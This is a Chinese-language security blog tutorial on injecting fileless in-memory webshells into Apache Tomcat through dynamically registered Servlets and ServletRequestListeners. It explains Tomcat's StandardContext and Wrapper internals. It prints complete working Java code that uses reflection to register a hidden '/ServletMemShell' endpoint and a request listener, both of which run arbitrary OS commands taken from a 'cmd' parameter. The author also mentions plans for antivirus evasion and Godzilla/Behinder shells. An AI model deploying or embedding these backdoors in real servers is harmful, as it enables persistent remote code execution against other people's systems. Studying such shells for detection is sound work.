Java安全之基于Tomcat的Servlet&Listener内存马
Java安全之基于Tomcat的Servlet&Listener内存马
写在前面
接之前的Tomcat Filter内存马文章,前面学习了下Tomcat中Filter型内存马的构造,下面学习Servlet型的构造,后续并分析一下Godzilla中打入Servlet型内存马的代码。
学习之前首先将前面Filter型内存马做一个简单的回顾,首先之前构造的Filter型内存马看网上文章讲是指支持Tomcat7以上,原因是因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3。
且在Tomcat7与8中 FilterDef 和 FilterMap 这两个类所属的包名不一样 tomcat 7:
org.apache.catalina.deploy.FilterDef; org.apache.catalina.deploy.FilterMap;
tomcat 8:
org.apache.tomcat.util.descriptor.web.FilterDef; org.apache.tomcat.util.descriptor.web.FilterMap;
但是Servlet则是在Tomcat7与8中通用的,而Godzilla的内存马也是Servlet型内存马
ServletContext跟StandardContext的关系
Tomcat中的对应的ServletContext实现是ApplicationContext。在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。
Servlet型内存马构造
还是在ApplicationContext类中,有4个addServlet方法,前三个为重载
最终会走到该
addServlet(String servletName, String servletClass, Servlet servlet, Map<String, String> initParams)方法内,该方法代码如下。
流程为:首先判断servletName是否为空,之后从StandardContext中获取child属性并转换为wrapper对象,如果wrapper为空就通过StandardContext的createWrapper方法创建一个Wrapper并通过StandardContext addChid方法将Wrapper添加到StandardContext的属性Child中。方法最后会返回ApplicationServletRegistration对象
private javax.servlet.ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet, Map<String, String> initParams) throws IllegalStateException { if (servletName != null && !servletName.equals("")) { if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) { throw new IllegalStateException(sm.getString("applicationContext.addServlet.ise", new Object[]{this.getContextPath()})); } else { Wrapper wrapper = (Wrapper)this.context.findChild(servletName); if (wrapper == null) { wrapper = this.context.createWrapper(); wrapper.setName(servletName); this.context.addChild(wrapper); } else if (wrapper.getName() != null && wrapper.getServletClass() != null) { if (!wrapper.isOverridable()) { return null; } wrapper.setOverridable(false); } ServletSecurity annotation = null; if (servlet == null) { wrapper.setServletClass(servletClass); Class<?> clazz = Introspection.loadClass(this.context, servletClass); if (clazz != null) { annotation = (ServletSecurity)clazz.getAnnotation(ServletSecurity.class); } } else { wrapper.setServletClass(servlet.getClass().getName()); wrapper.setServlet(servlet); if (this.context.wasCreatedDynamicServlet(servlet)) { annotation = (ServletSecurity)servlet.getClass().getAnnotation(ServletSecurity.class); } } if (initParams != null) { Iterator var9 = initParams.entrySet().iterator(); while(var9.hasNext()) { Entry<String, String> initParam = (Entry)var9.next(); wrapper.addInitParameter((String)initParam.getKey(), (String)initParam.getValue()); } } javax.servlet.ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, this.context); if (annotation != null) { registration.setServletSecurity(new ServletSecurityElement(annotation)); } return registration; } } else { throw new IllegalArgumentException(sm.getString("applicationContext.invalidServletName", new Object[]{servletName})); } }
先构造出Servlet型内存马,代码参照su18师傅的文章,先照搬过来,然后再去分析代码,最后对代码存在的疑问做一个简单的分析。
其实大体上流程与Filter型差不多,只不过这次需要动态注册Servlet而不是Filter,所以在动态注册哪里代码进行一些改动即可
@WebServlet("/addServletMemShell") public class ServletMemShell extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { this.doPost(req, resp); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // 获取ServletContext final ServletContext servletContext = req.getServletContext(); Field appctx = null; try { // 获取ApplicationContext appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); // 获取StandardContext StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); String ServletName = "ServletMemShell"; // 创建一个与程序现有Servlet不重名的Servlet if (servletContext.getServletRegistration(ServletName) == null){ HttpServlet httpServlet = new HttpServlet(){ @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { this.doPost(req, resp); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String cmd = req.getParameter("cmd"); if (cmd!=null){ InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream); int len; while ((len = bufferedInputStream.read())!=-1){ resp.getWriter().write(len); } } } }; // Standard createWrapper 拿到Wrapper封装Servlet Wrapper wrapper = standardContext.createWrapper(); //在Wrapper中设置ServletName wrapper.setName(ServletName); // 注意下面这一行代码 wrapper.setLoadOnStartup(1); wrapper.setServlet(httpServlet); wrapper.setServletClass(httpServlet.getClass().getName()); // 向children中添加wrapper standardContext.addChild(wrapper); // 设置ServletMappings standardContext.addServletMappingDecoded("/ServletMemShell", ServletName); resp.getWriter().write("Inject Tomcat ServletMemShell Success!"); } } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } } }
依旧是先访问上面构造的Servlet,之后会帮我们注册一个Servlet内存马。
Servlet内存马创建分析
其实关键部分就是下面这段代码
// Standard createWrapper 拿到Wrapper封装Servlet Wrapper wrapper = standardContext.createWrapper(); //在Wrapper中设置ServletName wrapper.setName(ServletName); wrapper.setLoadOnStartup(1); wrapper.setServlet(httpServlet); wrapper.setServletClass(httpServlet.getClass().getName()); // 向children中添加wrapper standardContext.addChild(wrapper); // 设置ServletMappings standardContext.addServletMappingDecoded("/ServletMemShell", ServletName);
个人认为与filter型不同点在于
wrapper.setLoadOnStartup(1);,那么
loadOnStartup在什么地方被调用呢?回看了下调用栈,发现在StandardContext#startInternal方法中,依次调用了
listenerStart、
filterStart、
loadOnStartup方法,
跟一下
loadOnStartup方法,前面是获取children属性并进行遍历
getLoadOnStartup()代码如下,这是StandardWrapper的属性loadOnStartup的get方法,依据条件,我们的代码中先通过
wrapper.setLoadOnStartup(1);将其设置为1,那最后这里返回的值也是1.
也因此会进入下面的if中最后调用StandardWrapper#load方法,在load方法中进行Servlet的加载与初始化。
总体的调用栈如下,不过中间被省略了不少,比如addChild,chidStart,addServlet方法都有经过,感兴趣的师傅可以自己调试下
那上面是针对于存在loadOnStartup属性的Servlet。
有意思的来了,可以尝试把我们上面的
wrapper.setLoadOnStartup(1);这行代码去掉,测试后发现依然不影响Servlet内存马的注入。: )
这里涉及到Servlet的一个加载问题:
针对配置了 load-on-startup 属性的 Servlet 而言,其它一般 Servlet 的加载和初始化会推迟到真正请求访问 web 应用而第一次调用该 Servlet 时
在非配置load-on-startup 属性的 Servlet 而言,是不会在系统加载的时候创建具体的处理实例对象,依旧还只是个配置记录在Context中。真正的创建则是在第一次被请求的时候,才会实例化
那疑问就解决了,
wrapper.setLoadOnStartup(1);只是影响Servlet在何时进行加载,而不影响他是否加载。
那没有loadOnStartup属性的Servlet怎么加载的呢?
回到调用栈中StandardWrapperValve#invoke方法中,重点是下面这一行
跟进去看实现,所以是在StandardWrapper#allocate方法中进行的Servlet加载与初始化
综上,那其实创建Servlet的流程就不难理解了。
依旧是获取到StandardContext,创建Servlet的封装类Wrapper,也就是StandardWrapper,后续设置ServletNam与ServletClass并指定类与ServletMapping ,类似于Web.xml中的配置就是
<servlet> <servlet-name> </servlet-name> <servlet-class> </servlet-class> </servlet> <servlet-mapping> <servlet-name> </servlet-name> <url-pattern> </url-pattern> </servlet-mapping>
后续就是添加到child属性中,等待第一次访问该Servlet时让Tomcat去加载就好了,或者设置了
wrapper.setLoadOnStartup(1);可以直接在系统加载的时候创建Servlet
Listener型内存马
Listener 可以译为监听器,监听器用来监听对象或者流程的创建与销毁,通过 Listener,可以自动触发一些操作,因此依靠它也可以完成内存马的实现。
在应用中可能调用的监听器如下:
- ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
- ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
- ServletRequestListener:对 Request 请求进行监听(创建、销毁)
- ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
- javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
- javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听
Tomcat中保存的Listener对象在 StandardContext 的 applicationEventListenersObjects 属性中,同时StandardContext存在
addApplicationEventListener方法来添加Listener。
本次用到的是
ServletRequestListener接口,该接口提供两个方法
requestInitialized和
requestDestroye分别在Request对象创建和销毁的时候自动触发执行方法内的内容,而该方法接受的参数为ServletRequestEvent对象,其中可以获取ServletContext 对象和 ServletRequest 对象。
构造恶意Listener
public class ListenerMemShell implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent sre) { } @Override public void requestInitialized(ServletRequestEvent sre) { RequestFacade request = (RequestFacade) sre.getServletRequest(); try { Field req = request.getClass().getDeclaredField("request"); req.setAccessible(true); Request request1 = (Request) req.get(request); Response response = request1.getResponse(); String cmd = request1.getParameter("cmd"); InputStream is = Runtime.getRuntime().exec(cmd).getInputStream(); int len; while ((len = is.read()) != -1){ response.getWriter().write(len); } } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } }
可以写一些工具类对上面的恶意Listener做一些处理,比如将class文件转成byte再转base64之后在Servlet中解码加载字节码
@WebServlet("/addListenerMemShell") public class ListenerMemShell extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { this.doPost(req, resp); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // 获取ServletContext final ServletContext servletContext = req.getServletContext(); Field appctx = null; try { // 获取ApplicationContext appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); // 获取StandardContext StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); standardContext.addApplicationEventListener(Utils.getClass(Utils.LISTENER_CLASS_STRING1).newInstance()); resp.getWriter().write("Success For Add Listnenr CmdMemShell !"); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } } }
先访问addListenerMemShell
之后随便访问个Servlet在参数中输入想要执行的命令即可。
End
其实在Tomcat环境下,相较于Servlet,本人更喜欢Filter和Listener型的内存马,主要是在于Filter、Listener的访问都在Servlet之前,也就避免了一些可能会出现玄学和花里胡哨的问题。而关于Listener,玩法应该还有很多,只是看到的文章比较少可能以后会更多的去尝试Listener型内存马,比如打behinder3和Godzilla。
后面学习下通过反序列化打内存马的姿势,集成上打哥斯拉和behinder的内存马,顺带改造下yso,以及将反序列化命令执行与回显链进行缝合,也可以集成到yso里。包括近期有看到关于filter的处理做到简单的免杀,以及不同容器的内存马注入和Tomcat下StandardContext的获取做到6789版本通杀,会放在后面一点点研究。
Reference
- 从0开始学Java——JSP&Servlet——如何在Eclipse中配置Web容器为tomcat
- 在tomcat中启动的文件-ServletContextListener实现全局配置装载入内存
- 从0开始学Java——JSP&Servlet——Tomcat和Apache的区别
- JavaWeb 用Intellij IDEA创建基于tomcat和jetty的Servlet
- 基于eclipse & tomcat的Java Web系统搭建
- Tomcat编译JSP页面生成Servlet文件(*.class & *.java)的存放位置
- 安装版的tomcat7 "Java heap space"内存溢出解决办法
- Java安全之基于Tomcat的通用回显链
- Java Servlet Filter tutorial example using Eclipse & Tomcat
- Jsp&Servelet 学习笔记- 在Tomcat中的servlet.xml使用Context元素
- JavaWeb_day1-HTTP&Servlet
- JAVA项目直接触之新手遇到的问题:引入web project运行tomcat后,出现:严重: Error listenerStart
- Tomcat servlet,jsp,javabean eclipse
- Listener、Filter、Servlet与Java Web项目初始化的工作
- Java面试题之Servlet&JSP篇
- 问题解决:javax.servlet.jsp.el.ELException: The "." operator was supplied with an index value of type "java.lang.String" to be applie
- 基于Apache与Tomcat的Java平台部署方案
- 基于GAE +java +servlet的一个工作帮助网站
- java应用 tomcat中实现https安全连接的方法
- java.lang.OutOfMemoryError: Java heap space + myeclipse中分配tomcat启动时所占内存大小